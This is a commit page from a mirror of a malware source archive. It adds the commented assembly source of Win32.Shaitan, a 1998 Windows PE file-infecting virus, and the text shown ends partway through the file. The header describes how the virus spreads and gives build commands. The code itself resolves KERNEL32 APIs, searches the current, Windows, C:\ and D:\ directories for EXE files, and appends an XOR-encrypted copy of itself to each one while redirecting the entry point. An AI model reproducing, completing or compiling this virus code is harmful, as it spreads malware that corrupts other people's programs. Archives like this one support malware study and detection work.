mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-16 15:59:24 +00:00
Updated dir structure in Win32
This commit is contained in:
@@ -0,0 +1,923 @@
|
||||
;----------------------------------------------------------------------------
|
||||
; Win32.Shaitan (C)opyright 1998 The Shaitan [SLAM]
|
||||
;
|
||||
;
|
||||
; Win32.Shaitan is a non-resident infector of Windows 9x/NT/32s Portable
|
||||
; Executable (PE) files.
|
||||
;
|
||||
;
|
||||
; Description
|
||||
; -----------
|
||||
; When a file infected by Win32.Shaitan is executed, the virus looks up
|
||||
; the current process' Import table for the address of GetModuleHandle API
|
||||
; function. If located, the API function will be called to retrieve the base
|
||||
; address of KERNEL32.DLL. Otherwise, a hard-coded address (0xbff70000)
|
||||
; will be assumed. Next, using this address, the virus scans the Export Table
|
||||
; of KERNEL32.DLL for the address of the GetProcAddress API function. Finally
|
||||
; using this function the virus obtains addresses of all other API functions
|
||||
; it needs (e.g CreateFileA, FindFirstFileA etc). The virus searches for and
|
||||
; infects files in the following order:
|
||||
; - Current Directory
|
||||
; - Windows base directory
|
||||
; - Directories in C:\
|
||||
; - Directories in D:\ (after checking whether it's a CDROM drive)
|
||||
; The file encrypts its data using a simple xor operation with 0xFF as key.
|
||||
; Files are infected by appending the virus to the last section in the file
|
||||
; and increasing its size. The virus uses memory-mapped files to improve
|
||||
; performance. Infected files will grow by about 3k.
|
||||
;
|
||||
; Umm, that's about all folks! This is my first Win32 virus, so if something
|
||||
; doesnt work, well... maybe next time :) The code is heavily commented, so
|
||||
; it should be easy enough to follow (if you can't... dont ask me, i can't
|
||||
; really follow it either! ;)
|
||||
;
|
||||
; Disclaimer
|
||||
; ----------
|
||||
; THIS CODE IS MEANT FOR EDUCATIONAL PURPOSES ONLY. THE AUTHOR CANNOT BE HELD
|
||||
; RESPONSIBLE FOR ANY DAMAGE CAUSED DUE TO USE, MISUSE OR INABILITY TO USE
|
||||
; THE SAME.
|
||||
;
|
||||
; To compile, use:
|
||||
; ----------------
|
||||
; tasm32 /ml /m5 shaitan.asm
|
||||
; tlink32 /c /Tpe /aa shaitan.obj, shaitan.exe, ,c:\tasm\lib\import32.lib
|
||||
; pewrsec shaitan.exe
|
||||
;
|
||||
;----------------------------------------------------------------------------
|
||||
|
||||
.386p
|
||||
.model flat
|
||||
|
||||
;----------------------------------------------------------------------------
|
||||
; Some equates to make our code more readable :)
|
||||
;----------------------------------------------------------------------------
|
||||
|
||||
L equ
|
||||
GENERIC_READ equ 80000000h
|
||||
GENERIC_WRITE equ 40000000h
|
||||
GENERIC_READ_WRITE equ GENERIC_READ or GENERIC_WRITE
|
||||
OPEN_EXISTING equ 00000003h
|
||||
FILE_SHARE_READ equ 00000001h
|
||||
FILE_ATTRIBUTE_NORMAL equ 00000080h
|
||||
FILE_ATTRIBUTE_DIRECTORY equ 00000010h
|
||||
PAGE_READWRITE equ 00000004h
|
||||
PAGE_WRITECOPY equ 00000008h
|
||||
FILE_MAP_WRITE equ 00000002h
|
||||
FILE_BEGIN equ 00000000h
|
||||
DRIVE_CDROM equ 00000005h
|
||||
|
||||
MAX_INFECT equ 00000005h ; Max. files to infect
|
||||
; at one go...
|
||||
|
||||
FILETIME struc
|
||||
dwLowDateTime dd ?
|
||||
dwHighDateTime dd ?
|
||||
FILETIME ends
|
||||
|
||||
WIN32_FIND_DATA struc
|
||||
dwFileAttributes dd ?
|
||||
ftCreationTime FILETIME ?
|
||||
ftLastAccessTime FILETIME ?
|
||||
ftLastWriteTime FILETIME ?
|
||||
nFileSizeHigh dd ?
|
||||
nFileSizeLow dd ?
|
||||
dwReserved0 dd ?
|
||||
dwReserved1 dd ?
|
||||
cFileName db 260 dup (?)
|
||||
cAlternateFileName db 14 dup (?)
|
||||
WIN32_FIND_DATA ends
|
||||
|
||||
code_len equ v_end - v_start
|
||||
|
||||
;----------------------------------------------------------------------------
|
||||
; Functions imported by Generation-1 -
|
||||
;----------------------------------------------------------------------------
|
||||
|
||||
extrn GetModuleHandleA:PROC
|
||||
extrn ExitProcess:PROC
|
||||
|
||||
;----------------------------------------------------------------------------
|
||||
; Some dummy data for Generation-1 -
|
||||
;----------------------------------------------------------------------------
|
||||
.data
|
||||
dummy_data db "SLAM Roqs!"
|
||||
|
||||
;----------------------------------------------------------------------------
|
||||
; CODE section -
|
||||
;----------------------------------------------------------------------------
|
||||
.code
|
||||
v_start:
|
||||
db 0b8h ; mov eax,xxxx where xxxx
|
||||
rva_eip dd 1000h ; is RVA of EIP (patched at
|
||||
; infection time)
|
||||
|
||||
call get_delta ; Call next instruction
|
||||
get_delta:
|
||||
pop ebp ; Pop out address from stack
|
||||
mov ebx,ebp ; Save it in EBX
|
||||
sub ebp,offset get_delta ; EBP = Delta pointer!
|
||||
|
||||
sub ebx,eax ; Deduct RVA of EIP
|
||||
sub ebx,0Ah ; EBX = Base address of module
|
||||
|
||||
push ebx ; Not really required, but...
|
||||
call crypt ; Decrypt virus data
|
||||
pop ebx ; Get saved EBX back
|
||||
|
||||
mov [module_base+ebp],ebx ; Save module base
|
||||
mov [kernel32+ebp],0bff70000h ; Umm... Default address
|
||||
; of KERNEL32.DLL (?)
|
||||
|
||||
; Now we try to retrieve the address of GetModuleHandleA from the current
|
||||
; process's Import table...
|
||||
get_GMHA:
|
||||
mov esi,[module_base+ebp] ; ESI = Base address of process.
|
||||
cmp word ptr [esi],'ZM' ; Is the base correctly assumed?.
|
||||
jne get_GPA ; No. Quit...
|
||||
|
||||
xor eax,eax ; EAX = 0
|
||||
mov ax, word ptr [esi+3ch] ; Get RVA of PE header.
|
||||
cmp ax,0 ; No pointer to PE offset?
|
||||
je get_GPA ; No. Can't continue...
|
||||
mov esi,eax ; ESI = RVA of PE offset
|
||||
add esi,[module_base+ebp] ; Convert RVA to VA.
|
||||
cmp word ptr [esi],'EP' ; Is the PE header there?.
|
||||
jne get_GPA ; Nope. Quit...
|
||||
|
||||
mov esi,[esi+80h] ; RVA of .idata section
|
||||
add esi,[module_base+ebp] ; ESI = Start of .idata section
|
||||
|
||||
; Now, find the IMAGE_IMPORT_DESCRIPTOR for KERNEL32.DLL imports
|
||||
mov eax,esi ; EAX = Start of .idata
|
||||
find_ik32:
|
||||
mov esi,eax ; ESI = First/next IMPORT_DESCRIPTOR.
|
||||
mov esi,[esi+0ch] ; RVA of imported module ASCIIZ string
|
||||
add esi,[module_base+ebp] ; RVA >> VA
|
||||
cmp [esi],'NREK' ; IMPORT_DESCRIPTOR for K32?
|
||||
je ik32_found ; Yes, we found it!
|
||||
add eax,14h ; EAX = Next IMPORT_DESCRIPTOR.
|
||||
jmp find_ik32 ; Loop till found...
|
||||
ik32_found:
|
||||
mov esi,eax ; ESI = K32 IMPORT_DESCRIPTOR.
|
||||
mov ebx,[esi+10h] ; Get RVA of IMAGE_THUNK_DATA array.
|
||||
add ebx,[module_base+ebp] ; RVA >> VA.
|
||||
cmp dword ptr [esi],0 ; NULL "OriginalFirstThunk" field?
|
||||
je get_GPA ; Yes, No hint-name table then :(
|
||||
mov esi,[esi] ; Pointer to pointer!
|
||||
add esi,[module_base+ebp] ; RVA >> VA
|
||||
mov edx,esi ;
|
||||
xor eax,eax ; Init EAX (for use as an index).
|
||||
|
||||
iAPI_loop:
|
||||
cmp dword ptr [edx],0 ; No more RVAs?
|
||||
je get_GPA ; Yes. Jump...
|
||||
cmp byte ptr [edx+3],80h ; Ordinal?
|
||||
je inc_ndx ; Yes. Skip...
|
||||
mov esi,[edx] ; " " " " "
|
||||
add esi,[module_base+ebp] ; " " " " "
|
||||
add esi,2 ; ESI = Start of ASCIIZ API name.
|
||||
mov ecx,GMH_string_len ; ECX = Length of string (API name).
|
||||
mov edi,offset GMH_string ; EDI = String to compare with.
|
||||
add edi,ebp ;
|
||||
compare:
|
||||
repe cmpsb ; Compare the 2 strings...
|
||||
cmp ecx,0 ; Match found?
|
||||
je API_found ; Yes! Jump...
|
||||
inc_ndx:
|
||||
inc eax ; No. Increment our index.
|
||||
add edx,4 ;
|
||||
jmp iAPI_loop ; Continue looping...
|
||||
API_found:
|
||||
shl eax,2 ; Multiply by 4.
|
||||
; We had saved VA of IMAGE_THUNK_DATA array in EBX. Remember?
|
||||
add eax,ebx ; Point to corresponding element.
|
||||
mov eax,[eax] ; EAX = API call address
|
||||
|
||||
mov ebx,offset k32_string ; Offset of "KERNEL32.DLL" string
|
||||
add ebx,ebp ; Adjust with delta
|
||||
push ebp ; Save our delta pointer
|
||||
push ebx ; Push parameter on the stack
|
||||
call eax ; Call GetModuleHandleA
|
||||
pop ebp ; Restore our delta pointer
|
||||
|
||||
mov [kernel32+ebp],eax ; Save address of KERNEL32.DLL
|
||||
|
||||
get_GPA:
|
||||
mov esi,[kernel32+ebp] ; Point ESI to K32 base address
|
||||
cmp word ptr [esi],'ZM' ; Is K32 really there?
|
||||
jne quit ; Nope. Bail out now!
|
||||
|
||||
xor eax,eax ; EAX = 0
|
||||
mov ax,word ptr [esi+3ch] ; Get RVA of PE header pointer.
|
||||
cmp ax,0 ; No pointer to PE offset?
|
||||
je quit ; No. Can't continue...
|
||||
mov esi,eax ; ESI = RVA of PE offset
|
||||
add esi,[kernel32+ebp] ; Convert RVA to VA.
|
||||
cmp word ptr [esi],'EP' ; Is the PE header there?
|
||||
jne quit ; Naw. Cannot continue...
|
||||
|
||||
mov eax,[esi+78h] ; PE hdr offset 78h points to .edata.
|
||||
add eax,[kernel32+ebp] ; Convert RVA to VA.
|
||||
xchg eax,esi ; Put VA back into ESI.
|
||||
|
||||
mov eax,[esi+14h] ; Get # of functions exported by K32
|
||||
mov [NumberOfFunctions+ebp],eax ; Save.
|
||||
|
||||
mov eax,[esi+1ch] ; RVA of table of exported function
|
||||
; addresses.
|
||||
add eax,[kernel32+ebp] ; Convert RVA to VA.
|
||||
mov [AddressOfFunctions+ebp],eax ; Save.
|
||||
|
||||
mov eax,[esi+20h] ; RVA of table containing API name
|
||||
; strings.
|
||||
add eax,[kernel32+ebp] ; Convert RVA to VA.
|
||||
mov [AddressOfNames+ebp],eax ; Save.
|
||||
|
||||
mov eax,[esi+24h] ; RVA of table of export ordinals of
|
||||
; all functions exported by name.
|
||||
add eax,[kernel32+ebp] ; Convert RVA to VA.
|
||||
mov [AddressOfOrdinals+ebp],eax ; Save.
|
||||
|
||||
xor eax,eax ; EAX = 0.
|
||||
mov ebx,[NumberOfFunctions+ebp] ; Use EBX as a counter.
|
||||
apisearch_loop:
|
||||
mov esi,offset GPA_string ; API function to search for...
|
||||
add esi,ebp ; Adjust with delta pointer...
|
||||
mov ecx,GPA_string_len ; Length of API function name string.
|
||||
mov edi,[AddressOfNames+ebp]; Point to start of table containing
|
||||
add edi,eax ; API function name strings...
|
||||
mov edi,[edi] ; " " " " "
|
||||
add edi,[kernel32+ebp] ; " " " " "
|
||||
cld ; Clear direction flag.
|
||||
repe cmpsb ; Compare the two strings.
|
||||
cmp ecx,0 ; Exact match found?.
|
||||
je match ; Yes! Jump...
|
||||
dec ebx ; Decrement our counter.
|
||||
cmp ebx,0 ; Have we gone thru entire table?.
|
||||
je quit ; Yes. API not found! Bail out...
|
||||
add eax,4 ; No. Lets compare the next string.
|
||||
jmp apisearch_loop ; Continue looping...
|
||||
match:
|
||||
shr eax,1 ; Divide by 2 (array is of WORDs).
|
||||
add eax,[AddressOfOrdinals+ebp] ; Point to relevant element in array.
|
||||
xor ebx,ebx ; EBX = 0.
|
||||
mov bx,word ptr [eax] ; Get our index into AddressOfFuncs.
|
||||
shl ebx,2 ; Multiply by 4 (array is of DWORDs).
|
||||
add ebx,[AddressOfFunctions+ebp]; Point to relevant element in array.
|
||||
mov eax,[ebx] ; EAX = RVA of API function address.
|
||||
add eax,[kernel32+ebp] ; EAX = Address of API function!!!
|
||||
|
||||
mov [_GetProcAddress+ebp],eax ; Save address...
|
||||
|
||||
; Now we retrieve the addresses of all API functions that we'll be using...
|
||||
Get_API_addresses:
|
||||
mov edi,offset API_strings ; Point to ASCIIZ string table
|
||||
add edi,ebp ; Adjust with delta pointer...
|
||||
|
||||
APIaddress_loop:
|
||||
push edi ; Save offset of ASCIIZ API name
|
||||
push edi ; Push onto stack for API call
|
||||
call GetAPIAddress ; Retrieve address of API function
|
||||
pop edi ; Restore address of ASCIIZ string
|
||||
push eax ; Save address of API function
|
||||
xor eax,eax ; EAX = 0
|
||||
repne scasb ; Search for end of string
|
||||
pop eax ; Restore address of API function
|
||||
mov [edi],eax ; Save it...
|
||||
add edi,4 ; Point to next ASCIIZ API string
|
||||
cmp [edi],'SLAM' ; Was that the last string?
|
||||
jne APIaddress_loop ; No. Loop till done...
|
||||
|
||||
push ebp ; Save delta pointer
|
||||
mov eax,offset start_dir ; Buffer to store directory name
|
||||
add eax,ebp ; Adjust with delta pointer
|
||||
push eax ; Push parameter on stack
|
||||
push L 128 ; Length of dirname buffer
|
||||
mov eax,[_GetCurrentDirectory+ebp] ; Address of API to call
|
||||
call eax ; Call API
|
||||
pop ebp ; Restore delta pointer
|
||||
|
||||
call InfectCurrentDirectory ; Infect files in starting directory
|
||||
cmp [infect_counter+ebp],MAX_INFECT ; Max. # of files infected?
|
||||
je restore_start_dir ; Yes. Quit...
|
||||
|
||||
push ebp ; Save delta
|
||||
push L 128 ; Length of dir buffer
|
||||
mov eax,offset win_dir ; Location of dir buffer
|
||||
add eax,ebp ; Adjust...
|
||||
push eax ; Push location of buffer
|
||||
mov eax,[_GetWindowsDirectory+ebp] ; API to call
|
||||
call eax ; Call API function
|
||||
pop ebp ; Restore delta
|
||||
mov eax,offset win_dir ; EAX = ASCIIZ windows dir name
|
||||
add eax,ebp ; Adjust...
|
||||
call SetDir ; Change directory to windows dir
|
||||
call InfectCurrentDirectory ; Infect files in it...
|
||||
cmp [infect_counter+ebp],MAX_INFECT ; Max. # of files infected?
|
||||
je restore_start_dir ; Yes. Quit...
|
||||
|
||||
mov eax,offset root_dir_c ; Infect all dirs in C:\
|
||||
add eax,ebp ; Adjust...
|
||||
call Search&InfectDirs ; Infect...
|
||||
cmp [infect_counter+ebp],MAX_INFECT ; Max. # of files infected?
|
||||
je restore_start_dir ; Yes. Quit...
|
||||
|
||||
push ebp ; Save delta
|
||||
mov eax,offset root_dir_d ; ASCIIZ D:\
|
||||
add eax,ebp ; Adjust with delta
|
||||
push eax ; Push onto stack
|
||||
mov eax,[_GetDriveType+ebp] ; API function to call
|
||||
call eax ; Call API
|
||||
pop ebp ; Restore delta
|
||||
cmp eax,DRIVE_CDROM ; Is this a CDROM drive?
|
||||
je restore_start_dir ; Yes. Do not try to infect!
|
||||
cmp eax,0 ; Drive type undeterminable?
|
||||
je restore_start_dir ; Yes. Let's play it safe...
|
||||
|
||||
mov eax,offset root_dir_d ; Infect all dirs in D:\
|
||||
add eax,ebp ; Adjust...
|
||||
call Search&InfectDirs ; Infect...
|
||||
|
||||
restore_start_dir:
|
||||
mov eax,offset start_dir ; Name of starting directory
|
||||
add eax,ebp ; Adjust...
|
||||
call SetDir ; Set directory back to start dir
|
||||
|
||||
quit:
|
||||
push ebp ; Save delta pointer
|
||||
mov eax,[_GetCommandLine+ebp] ; Address of API to call
|
||||
call eax ; Call API
|
||||
pop ebp ; Restore delta pointer
|
||||
mov edi,eax ; EDI = Address of cmdline
|
||||
inc edi ; Inc by one (skip the ")
|
||||
mov ecx,80h ; Search upto 80h bytes
|
||||
mov eax,'"' ; Search for "
|
||||
cmp byte ptr [edi-1],'"' ; Was the first byte a " ?
|
||||
je find_end_cmdline ; Yes. Continue...
|
||||
mov eax,' ' ; No. Look for a space then
|
||||
find_end_cmdline:
|
||||
repne scasb ; Search for end of string
|
||||
cmp dword ptr [edi-12],'IAHS' ; G-1? ("SHAITAN.EXE")
|
||||
je g1_quit ; Yup. Exit normally...
|
||||
|
||||
jump_to_host:
|
||||
mov eax,[module_base+ebp] ; Get module's base address
|
||||
add eax,[ori_ip+ebp] ; Add original EIP to it
|
||||
push eax ; Remember .COM infection? :)
|
||||
ret ; Jump to the original EIP!
|
||||
|
||||
g1_quit:
|
||||
xor eax,eax ; EAX = 0 = Return value
|
||||
push eax ; Push parameter on stack
|
||||
call ExitProcess ; Call API to quit
|
||||
|
||||
;----------------------------------------------------------------------------
|
||||
; GetAPIAddress - Calls GetProcAddress to retrieve address of API function
|
||||
; pointed to by EDI.
|
||||
;
|
||||
; Return value: EAX = Address of API function
|
||||
;----------------------------------------------------------------------------
|
||||
GetAPIAddress:
|
||||
push ebp ; Save our delta pointer
|
||||
push edi ; EAX = ASCIIZ API string
|
||||
mov eax,[kernel32+ebp] ; KERNEL32 base address
|
||||
push eax ; " " " "
|
||||
mov eax,[_GetProcAddress+ebp] ; Address of API to call
|
||||
call eax ; Call API function
|
||||
pop ebp ; Restore delta pointer
|
||||
ret ; Return to caller
|
||||
|
||||
;----------------------------------------------------------------------------
|
||||
; SetDir - Sets current directory to string pointed to by EAX
|
||||
;----------------------------------------------------------------------------
|
||||
SetDir:
|
||||
push ebp ; Save delta pointer
|
||||
push eax ; Push parameter on stack
|
||||
mov eax,[_SetCurrentDirectory+ebp] ; Address of API to call
|
||||
call eax ; Call API
|
||||
pop ebp ; Restore delta pointer
|
||||
ret ; Return to caller
|
||||
|
||||
;----------------------------------------------------------------------------
|
||||
; InfectFile - Infects filename specified in "testfile" variable
|
||||
;
|
||||
; Return value: On success >> 1
|
||||
; On failure >> 0
|
||||
;----------------------------------------------------------------------------
|
||||
InfectFile:
|
||||
mov [infect_status+ebp],0 ; Init. flag
|
||||
|
||||
push ebp ; Save delta
|
||||
push [testfile+ebp] ; ASCIIZ filename
|
||||
mov eax,[_GetFileAttributes+ebp] ; API to call
|
||||
call eax ; Retrieve original attributes
|
||||
pop ebp ; Restore delta
|
||||
cmp eax,0ffffffffh ; Failure?
|
||||
je infect_end ; Yes. Cannot continue...
|
||||
mov [ori_attrib+ebp],eax ; Save original attributes
|
||||
|
||||
push ebp ; Save delta
|
||||
push FILE_ATTRIBUTE_NORMAL ; Remove all attributes
|
||||
push [testfile+ebp] ; ASCIIZ filename
|
||||
mov eax,[_SetFileAttributes+ebp] ; API to call
|
||||
call eax ; Remove read-only etc attrib
|
||||
pop ebp ; Restore delta
|
||||
cmp eax,0 ; Failure?
|
||||
je infect_end ; Yes. Cannot continue...
|
||||
|
||||
open_file:
|
||||
push ebp ; Save delta pointer
|
||||
push L 0 ; Template file (?)
|
||||
push FILE_ATTRIBUTE_NORMAL ; Attribute of file
|
||||
push OPEN_EXISTING ; Open an existing file
|
||||
push L 0 ; Security Attributes
|
||||
push FILE_SHARE_READ ; Share mode
|
||||
push GENERIC_READ_WRITE ; Access mode
|
||||
push [testfile+ebp] ; ASCIIZ Filename
|
||||
mov eax,[_CreateFileA+ebp] ; Address of API call
|
||||
call eax ; Call API to open file
|
||||
pop ebp ; Restore delta pointer
|
||||
|
||||
cmp eax,0FFFFFFFFh ; File open failed?
|
||||
je infect_end ; Yes. Cannot proceed...
|
||||
mov [file_handle+ebp],eax ; Save file handle
|
||||
|
||||
create_file_map:
|
||||
add [new_filesize+ebp],code_len + 400h ; Inc. by this many bytes
|
||||
|
||||
push ebp ; Save delta pointer
|
||||
push L 0 ; Name of mapping object
|
||||
push [new_filesize+ebp] ; Max size of mapping object
|
||||
push L 0 ; " " " "
|
||||
push PAGE_READWRITE ; Read/Write access
|
||||
push L 0 ; Security attributes
|
||||
push [file_handle+ebp] ; Handle of file to map
|
||||
mov eax,[_CreateFileMappingA+ebp] ; Address of API call
|
||||
call eax ; Call API to map file
|
||||
pop ebp ; Restore delta pointer
|
||||
|
||||
cmp eax,0 ; File mapping failed?
|
||||
je close_file ; Yes. Cannot proceed...
|
||||
mov [map_handle+ebp],eax ; Save mapping object handle
|
||||
|
||||
create_map_view:
|
||||
push ebp ; Save delta pointer
|
||||
push [new_filesize+ebp] ; No. of bytes to map
|
||||
push L 0 ; File offset (low)
|
||||
push L 0 ; File offset (high)
|
||||
push FILE_MAP_WRITE ; Read/Write access
|
||||
push [map_handle+ebp] ; Handle to mapping object
|
||||
mov eax,[_MapViewOfFile+ebp] ; Address of API call
|
||||
call eax ; Create a map file view
|
||||
pop ebp ; Restore delta pointer
|
||||
|
||||
cmp eax,0 ; Couldn't create map file view?
|
||||
je close_map ; Yes. Cannot proceed...
|
||||
mov [view_address+ebp],eax ; Address of map view
|
||||
|
||||
fun_stuff:
|
||||
mov eax,[ori_ip+ebp] ; Get original EIP of host
|
||||
mov [temp_ip+ebp],eax ; Save it in a temp. variable
|
||||
|
||||
mov esi,[view_address+ebp] ; Get address of map view
|
||||
cmp word ptr [esi],'ZM' ; Is it an EXE file?
|
||||
jne close_view ; No. Cannot proceed...
|
||||
|
||||
cmp word ptr [esi+12h],'SW' ; Already infected?
|
||||
je close_view ; Yes. Quit...
|
||||
mov word ptr [esi+12h],'SW' ; Otherwise mark as infected
|
||||
|
||||
xor eax,eax ; EAX = 0
|
||||
mov ax,word ptr [esi+3ch] ; Get pointer to PE header
|
||||
cmp ax,0 ; No pointer to PE offset?
|
||||
je close_view ; No. Jump...
|
||||
cmp eax,[adj_filesize+ebp] ; Compare with actual filesize
|
||||
jae close_view ; Greater? (Happened once!)
|
||||
mov esi,eax ; ESI = RVA of PE ofset
|
||||
add esi,[view_address+ebp] ; Convert to VA
|
||||
cmp word ptr [esi],'EP' ; Is the PE header present?
|
||||
jne close_view ; No. Cannot proceed...
|
||||
mov [PE_hdr+ebp],esi ; Save VA of PE header
|
||||
; Now ESI contains address of PE header...
|
||||
mov eax,[esi+28h] ; Get original entry point RVA
|
||||
mov [ori_ip+ebp],eax ; Save it...
|
||||
mov eax,[esi+3ch] ; Get file align value
|
||||
mov [file_align+ebp],eax ; Save it...
|
||||
|
||||
mov ebx,[esi+74h] ; # of entries in IMG_DATA_DIR
|
||||
shl ebx,3 ; Multiply by 8
|
||||
xor eax,eax ; EAX = 0
|
||||
mov ax,word ptr [esi+6h] ; No. of sections in file
|
||||
dec eax ; Decrease by one
|
||||
mov ecx,28h ; Size of IMAGE_SECTION_HDR
|
||||
mul ecx ; Multiply...
|
||||
add esi,78h ; ESI = Addr. of IMG_DATA_DIR
|
||||
add esi,ebx ; ESI = Addr. of section table
|
||||
add esi,eax ; ESI = Addr. of last entry
|
||||
|
||||
; Now ESI is pointing to last entry in section table (usually .reloc)
|
||||
|
||||
; Modify the section characteristics flags... (+CEW)
|
||||
or dword ptr [esi+24h],00000020h ; Section now contains CODE
|
||||
or dword ptr [esi+24h],20000000h ; Section is now EXECUTABLE
|
||||
or dword ptr [esi+24h],80000000h ; Section is now WRITEABLE
|
||||
|
||||
mov eax,[esi+10h] ; Get SizeOfRawdata
|
||||
mov [ori_size_of_rawdata+ebp],eax ; Save it...
|
||||
|
||||
add dword ptr [esi+8h],code_len ; Inc size of VirtualSize
|
||||
|
||||
mov eax,[esi+8h] ; Get new size in EAX
|
||||
mov ecx,[file_align+ebp] ; ECX = File alignment
|
||||
div ecx ; Get remainder in EDX
|
||||
mov ecx,[file_align+ebp] ; ECX = File alignment
|
||||
sub ecx,edx ; No. of bytes to pad...
|
||||
mov [esi+10h],ecx ; " " " "
|
||||
mov eax,[esi+8h] ; Get current VirtualSize
|
||||
add eax,[esi+10h] ; EAX = SizeOfRawdata padded
|
||||
mov [esi+10h],eax ; Set new SizeOfRawdata
|
||||
mov [size_of_rawdata+ebp],eax ; Also, save it...
|
||||
|
||||
mov eax,[esi+0ch] ; Get VirtualAddress
|
||||
add eax,[esi+8h] ; Add VirtualSize
|
||||
sub eax,code_len ; Deduct size of virus
|
||||
mov [new_ip+ebp],eax ; EAX = New EIP! Save it...
|
||||
mov [rva_eip+ebp],eax ; Patch...
|
||||
|
||||
mov eax,[ori_size_of_rawdata+ebp] ; Original SizeOfRawdata
|
||||
mov ebx,[size_of_rawdata+ebp] ; New SizeOfRawdata
|
||||
sub ebx,eax ; Increase in size
|
||||
mov [inc_size_of_rawdata+ebp],ebx ; Save increase value...
|
||||
mov eax,[esi+14h] ; File offset of sec's rawdata
|
||||
add eax,[size_of_rawdata+ebp] ; Add size of new rawdata
|
||||
mov [new_filesize+ebp],eax ; EAX = New filesize! Save...
|
||||
mov [adj_filesize+ebp],eax ;
|
||||
|
||||
mov eax,[esi+14h] ; File offset of sec's rawdata
|
||||
add eax,[esi+8h] ; Add VirtualSize of section
|
||||
sub eax,code_len ; Deduct virus length from it
|
||||
add eax,[view_address+ebp] ; RVA >> VA (sorta)
|
||||
; Now EAX points to offset where we'll append the virus code...
|
||||
|
||||
push eax ; Save EAX
|
||||
mov byte ptr [key+ebp],0ffh ; Set encryption key to 0xFF
|
||||
call crypt ; Encrypt Vx data
|
||||
pop eax ; Restore EAX
|
||||
|
||||
mov edi,eax ; Location to copy to...
|
||||
mov esi,offset v_start ; Location to copy from...
|
||||
add esi,ebp ; Adjust with delta pointer
|
||||
mov ecx,code_len ; No. of bytes to copy
|
||||
rep movsb ; Copy all the bytes!
|
||||
|
||||
call crypt ; Decrypt Vx data
|
||||
|
||||
mov esi,[PE_hdr+ebp] ; ESI = Addr. of PE header
|
||||
mov eax,[new_ip+ebp] ; Get value of new EIP in EAX
|
||||
mov [esi+28h],eax ; Write it to the PE header
|
||||
mov eax,[inc_size_of_rawdata+ebp] ; Get inc. size of last section
|
||||
add [esi+50h],eax ; Add it to SizeOfImage
|
||||
|
||||
mov eax,[temp_ip+ebp] ; Get our saved host EIP
|
||||
mov [ori_ip+ebp],eax ; Restore...
|
||||
|
||||
mov [infect_status+ebp],1 ; Successful infection!
|
||||
|
||||
close_view:
|
||||
push ebp ; Save delta pointer
|
||||
push [view_address+ebp] ; Push view address on stack
|
||||
mov eax,[_UnmapViewOfFile+ebp] ; API to call
|
||||
call eax ; Call API to close view
|
||||
pop ebp ; Restore delta pointer
|
||||
|
||||
close_map:
|
||||
push ebp ; Save delta pointer
|
||||
push [map_handle+ebp] ; Handle of mapping object
|
||||
mov eax,[_CloseHandle+ebp] ; Address of API call
|
||||
call eax ; Close mapping object
|
||||
pop ebp ; Restore delta pointer
|
||||
|
||||
close_file:
|
||||
|
||||
truncate_file:
|
||||
push ebp ; Save delta pointer
|
||||
push FILE_BEGIN ; Move from start of file
|
||||
push L 0 ; Distance to move (high)
|
||||
push [adj_filesize+ebp] ; " " " "
|
||||
push [file_handle+ebp] ; Handle of file
|
||||
mov eax,[_SetFilePointer+ebp] ; API function to call
|
||||
call eax ; Call API
|
||||
pop ebp ; Restore delta pointer
|
||||
cmp eax,0ffffffffh ; Seek failed?
|
||||
je final_close ; Yes. Jump...
|
||||
|
||||
push ebp ; Save delta pointer
|
||||
push [file_handle+ebp] ; Handle of file to truncate
|
||||
mov eax,[_SetEndOfFile+ebp] ; API to call
|
||||
call eax ; Call API to truncate file
|
||||
pop ebp ; Restore delta pointer
|
||||
|
||||
; Now close the file...
|
||||
final_close:
|
||||
push ebp ; Save delta pointer
|
||||
push [file_handle+ebp] ; Handle of file to close
|
||||
mov eax,[_CloseHandle+ebp] ; Address of API call
|
||||
call eax ; Call API to close file
|
||||
pop ebp ; Restore delta pointer
|
||||
|
||||
restore_attrib:
|
||||
push ebp ; Save delta
|
||||
push [ori_attrib+ebp] ; Original attributes
|
||||
push [testfile+ebp] ; ASCIIZ filename
|
||||
mov eax,[_SetFileAttributes+ebp] ; API to call
|
||||
call eax ; Restore original attributes
|
||||
pop ebp ; Restore delta
|
||||
|
||||
infect_end:
|
||||
mov eax,[infect_status+ebp] ; Success/Failure flag
|
||||
ret ; Return to caller
|
||||
|
||||
;----------------------------------------------------------------------------
|
||||
; InfectCurrentDirectory - Infects upto 5 files in current directory
|
||||
;----------------------------------------------------------------------------
|
||||
InfectCurrentDirectory:
|
||||
|
||||
find_file:
|
||||
push ebp ; Save delta pointer
|
||||
mov eax,offset wfd_icd ; Returned "FileFind" info
|
||||
add eax,ebp ; Adjust with delta...
|
||||
push eax ; Push it onto the stack
|
||||
mov eax,offset file_match ; Search for "*.EXE"
|
||||
add eax,ebp ; Adjust with delta...
|
||||
push eax ; Push it onto the stack
|
||||
mov eax,[_FindFirstFileA+ebp] ; <<<
|
||||
call eax ; Call API to search for file
|
||||
pop ebp ; Restore delta pointer
|
||||
|
||||
cmp eax,0ffffffffh ; No match found?
|
||||
je icd_end ; No. Cannot proceed...
|
||||
mov [icd_search_handle+ebp],eax ; Save search handle
|
||||
|
||||
mov eax,offset wfd_icd.cFileName ; Get filename of match file
|
||||
add eax,ebp ; Adjust with delta...
|
||||
mov [testfile+ebp],eax ; Save pointer to it...
|
||||
|
||||
cmp [wfd_icd.nFileSizeHigh+ebp],0 ; High 32-bits of filesize
|
||||
jne icd_findnext ; Way to big for us!
|
||||
|
||||
mov eax,[wfd_icd.nFileSizeLow+ebp] ; Get filesize...
|
||||
mov [adj_filesize+ebp],eax ; Save it
|
||||
mov [new_filesize+ebp],eax ; Save it (this'll change l8r)
|
||||
|
||||
call InfectFile ; Infect file "testfile"
|
||||
cmp eax,0 ; Successful?
|
||||
je icd_findnext ; No. Search for next file...
|
||||
inc [infect_counter+ebp] ; Yes. Increment counter
|
||||
cmp [infect_counter+ebp],MAX_INFECT ; Max infect count reached?
|
||||
je close_file_handle ; Yes. Don't infect any more
|
||||
|
||||
icd_findnext:
|
||||
push ebp ; Save delta pointer
|
||||
mov eax,offset wfd_icd ; Offset of WFD structure
|
||||
add eax,ebp ; Adjust with delta pointer
|
||||
push eax ; Push up the stack
|
||||
push [icd_search_handle+ebp] ; Push search handle too
|
||||
mov eax,[_FindNextFileA+ebp] ; Address of API to call
|
||||
call eax ; Call API
|
||||
pop ebp ; Restore delta pointer
|
||||
|
||||
cmp eax,L 0 ; No match found?
|
||||
je close_file_handle ; No. Cannot proceed...
|
